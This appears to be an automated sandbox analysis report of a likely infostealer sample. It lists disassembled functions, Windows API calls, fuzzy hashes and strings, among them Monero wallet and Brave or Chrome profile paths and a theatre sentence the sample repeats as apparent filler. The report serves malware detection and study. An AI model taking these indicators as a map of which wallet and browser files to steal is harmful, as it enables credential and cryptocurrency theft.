Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 28caf40adeff3e1781d4b6c0b8fdfd3da752cc3e51087fb1546d73732f777697
Instruction ID: 7e200bc100f86f7a1fcacd6763b91d1b6c4c7c5d95fed3b4ec89d564c8d626b8
Opcode Fuzzy Hash: 28caf40adeff3e1781d4b6c0b8fdfd3da752cc3e51087fb1546d73732f777697
Instruction Fuzzy Hash: E4A14BB56022499FD344EFB8ED88A6637FBF74C301704851BAA05C3264D63A9941FB2E

Function 00D945C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00D9460E
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00D9479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D945D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D9471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D9477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D945DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D94622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D946C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D94765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D945F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D9466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D946AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D94729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D9475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D94678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D9474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D94617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D946B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D946D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D94657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D94643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D9473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D94638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D945C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D94734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D94683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D946CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D945E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D9462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D94662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D94770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D94713

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 86bcb7c0c78562e55a8e4cd0f22a2d2e243bf26b8390038550e87e012f192573
Instruction ID: 6646c3b34ba70226793a0eeeabd14fcbe772023a005a08cb36f2166b8ec14c8b
Opcode Fuzzy Hash: 86bcb7c0c78562e55a8e4cd0f22a2d2e243bf26b8390038550e87e012f192573
Instruction Fuzzy Hash: 3341B3607C6704EECF26BBACB84FFED76565F467C0F505584AC2292285CA606904CBF7

Function 00D9BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

Part of subcall function 00DAA920: lstrcpy.KERNEL32(00000000,?), ref: 00DAA972
Part of subcall function 00DAA920: lstrcat.KERNEL32(00000000), ref: 00DAA982

Part of subcall function 00DAA9B0: lstrlen.KERNEL32(?,019497D0,?,\Monero\wallet.keys,00DB0E17), ref: 00DAA9C5
Part of subcall function 00DAA9B0: lstrcpy.KERNEL32(00000000), ref: 00DAAA04
Part of subcall function 00DAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DAAA12

Part of subcall function 00DAA8A0: lstrcpy.KERNEL32(?,00DB0E17), ref: 00DAA905

FindFirstFileA.KERNEL32(00000000,?,00DB0B32,00DB0B2B,00000000,?,?,?,00DB13F4,00DB0B2A), ref: 00D9BEF5
StrCmpCA.SHLWAPI(?,00DB13F8), ref: 00D9BF4D
StrCmpCA.SHLWAPI(?,00DB13FC), ref: 00D9BF63
FindNextFileA.KERNELBASE(000000FF,?), ref: 00D9C7BF
FindClose.KERNEL32(000000FF), ref: 00D9C7D1

Strings

Google Chrome, xrefs: 00D9C634
Brave, xrefs: 00D9C102
\Brave\Preferences, xrefs: 00D9C1DB
Preferences, xrefs: 00D9C11E

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: a1673f4f32a285f2da4f41500f640dbe5f0fc86052286b15817926526fc093db
Instruction ID: 6676004e895e81a7678c2444cedf6bfd083d65f5feaf9bfb0c2cc59176fefdf7
Opcode Fuzzy Hash: a1673f4f32a285f2da4f41500f640dbe5f0fc86052286b15817926526fc093db
Instruction Fuzzy Hash: E2423F72910108ABCB54FB74DD96EEE737DEF85300F404659B90A96181EF34AB49CBB2

Function 6C5635A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C5EF688,00001000), ref: 6C5635D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5635E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C5635FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C56363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C56369F
__aulldiv.LIBCMT ref: 6C5636E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C563773
EnterCriticalSection.KERNEL32(6C5EF688), ref: 6C56377E
LeaveCriticalSection.KERNEL32(6C5EF688), ref: 6C5637BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C5637C4
EnterCriticalSection.KERNEL32(6C5EF688), ref: 6C5637CB
LeaveCriticalSection.KERNEL32(6C5EF688), ref: 6C563801
__aulldiv.LIBCMT ref: 6C563883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C563902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C563918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C56394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6C5635DB
GenuntelineI, xrefs: 6C563639
AuthcAMDenti, xrefs: 6C563946
QPC, xrefs: 6C5638FC
GTC, xrefs: 6C563912

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 51f26ec6d8110b69a95cc948828a8662ef418edf171e465009b1aedade76fc92
Instruction ID: 0c7caf911d8f142f4d7d8f97e1338ebd902a57981a2e469cd841cf4ed2ca025d
Opcode Fuzzy Hash: 51f26ec6d8110b69a95cc948828a8662ef418edf171e465009b1aedade76fc92
Instruction Fuzzy Hash: 0FB1C6B1B093109FDB48DF29DC4461ABBF5BB8E704F068A2DE499D7760DB709900CB89

Function 00DA4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00DA492C
FindFirstFileA.KERNEL32(?,?), ref: 00DA4943
StrCmpCA.SHLWAPI(?,00DB0FDC), ref: 00DA4971
StrCmpCA.SHLWAPI(?,00DB0FE0), ref: 00DA4987
FindNextFileA.KERNEL32(000000FF,?), ref: 00DA4B7D
FindClose.KERNEL32(000000FF), ref: 00DA4B92

Strings

%s\%s, xrefs: 00DA49A4
%s\%s, xrefs: 00DA49FB
%s\*, xrefs: 00DA4920

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 5914bcf39dcbd5effdb9b8d54ccd9c3d1c0fc2894748a38f100f7b2b180139ab
Instruction ID: be37d654c0a067d7e874c8baf09ded0bc1c383fa2594245ed705d591f5e8e389
Opcode Fuzzy Hash: 5914bcf39dcbd5effdb9b8d54ccd9c3d1c0fc2894748a38f100f7b2b180139ab
Instruction Fuzzy Hash: 5D6153B2900218ABCB20EBB0DC45EEB737DFB49700F044689B50A96041EB74DB49DFB5

Function 00DA3EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00DA3EC3
FindFirstFileA.KERNEL32(?,?), ref: 00DA3EDA
StrCmpCA.SHLWAPI(?,00DB0FAC), ref: 00DA3F08
StrCmpCA.SHLWAPI(?,00DB0FB0), ref: 00DA3F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 00DA406C
FindClose.KERNEL32(000000FF), ref: 00DA4081

Strings

%s\%s, xrefs: 00DA3EB7

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: faddd5d9cf582d09c5be00c91029b11442e40e07d6fe56ec646738f9615fa1e6
Instruction ID: 7313eec0111808b330db922eb39807cae20fda7f63bca3a90b989bfb3d91865b
Opcode Fuzzy Hash: faddd5d9cf582d09c5be00c91029b11442e40e07d6fe56ec646738f9615fa1e6
Instruction Fuzzy Hash: B25164B2900218ABCB24EBB0DC85EFA737DFB48300F044589B65996050EB75DB89DFB5

Function 00D9F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

Part of subcall function 00DAA920: lstrcpy.KERNEL32(00000000,?), ref: 00DAA972
Part of subcall function 00DAA920: lstrcat.KERNEL32(00000000), ref: 00DAA982

